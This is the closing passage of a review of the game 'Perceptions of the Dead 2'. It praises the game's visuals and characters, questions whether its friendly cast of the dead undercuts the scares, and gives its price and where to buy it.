Perceptions of the Dead 2 is gorgeous to behold with some truly wonderful characters and connections between them, offering a narrative treat for those who like stories of friendship and scary things like living in the world of the dead. But with great pals, including some less-than-living ones, is it really all that scary any more?

Perceptions of the Dead 2 is available for $ 7.99 on Itch.io and Steam. For more information on the game and developer Ithaqua Labs, you can head to the developer’s site or follow them on YouTube and Twitter.

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